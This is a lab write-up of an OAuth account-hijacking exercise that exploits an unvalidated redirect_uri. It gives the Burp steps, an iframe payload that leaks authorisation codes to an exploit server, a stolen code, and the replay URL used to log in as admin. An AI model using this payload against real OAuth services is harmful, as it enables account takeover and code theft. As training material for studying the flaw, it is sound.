OAuth account hijacking via redirect_uri

Description

This lab uses an OAuth service to allow users to log in with their social media account. A misconfiguration by the OAuth provider makes it possible for an attacker to steal authorisation codes associated with other users’ accounts.

Reproduction and proof of concept

1. While proxying traffic through Burp, click My account and complete the OAuth login process. Afterwards, you will be redirected back to the blog website.

https://oauth-0ac600970457d960c02ae86d027200a9.oauth-server.net/auth/p9Zl4tDpANUmA7daaGrir

2. Log out and then log back in again. Observe that you are logged in instantly this time. As you still had an active session with the OAuth service, you didn’t need to enter your credentials again to authenticate yourself.

3. In Burp, study the OAuth flow in the proxy history and identify the most recent authorisation request. This should start with GET /auth?client_id=[...]. Notice that when this request is sent, you are immediately redirected to the redirect_uri along with the authorisation code in the query string. Send this authorisation request to Burp Repeater.

4. In Burp Repeater, observe that you can submit any arbitrary value as the redirect_uri without encountering an error. Notice that your input is used to generate the redirect in the response.

5. Change the redirect_uri to point to the exploit server, then send the request and follow the redirect. Go to the exploit server’s access log:

There is a log entry containing an authorisation code. This confirms it is possible to leak authorisation codes to an external domain.

6. Go back to the exploit server and create the following iframe at /exploit:

<iframe src="https://oauth-0ac600970457d960c02ae86d027200a9.oauth-server.net/auth?client_id=g92riblrj8611fgr7szqz&redirect_uri=https://exploit-0a68007904cad9f0c073e9a201f00023.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>

7. Store the exploit and click View exploit. Check that your iframe loads and then check the exploit server’s access log:

8. Deliver the exploit to the victim, then go back to the access log:

Copy the victim’s code from the resulting request.

5q8G6tiMiyS3DRtK3lnJt1Jkb08l642WL_aJGbSlCxp

9. Log out of the blog website and then use the stolen code to navigate to:

https://0aca00c7046dd970c046ea7c0009002f.web-security-academy.net/oauth-callback?code=5q8G6tiMiyS3DRtK3lnJt1Jkb08l642WL_aJGbSlCxp

10. The rest of the OAuth flow will be completed automatically, and you will be logged in as the admin user. Open the admin panel and delete Carlos.

Exploitability

An attacker will need to log in to wiener:peter; and then steal an authorisation code associated with the admin user; then use it to access their account and delete Carlos.

The admin user will open anything sent from the exploit server, and always has an active session with the OAuth service.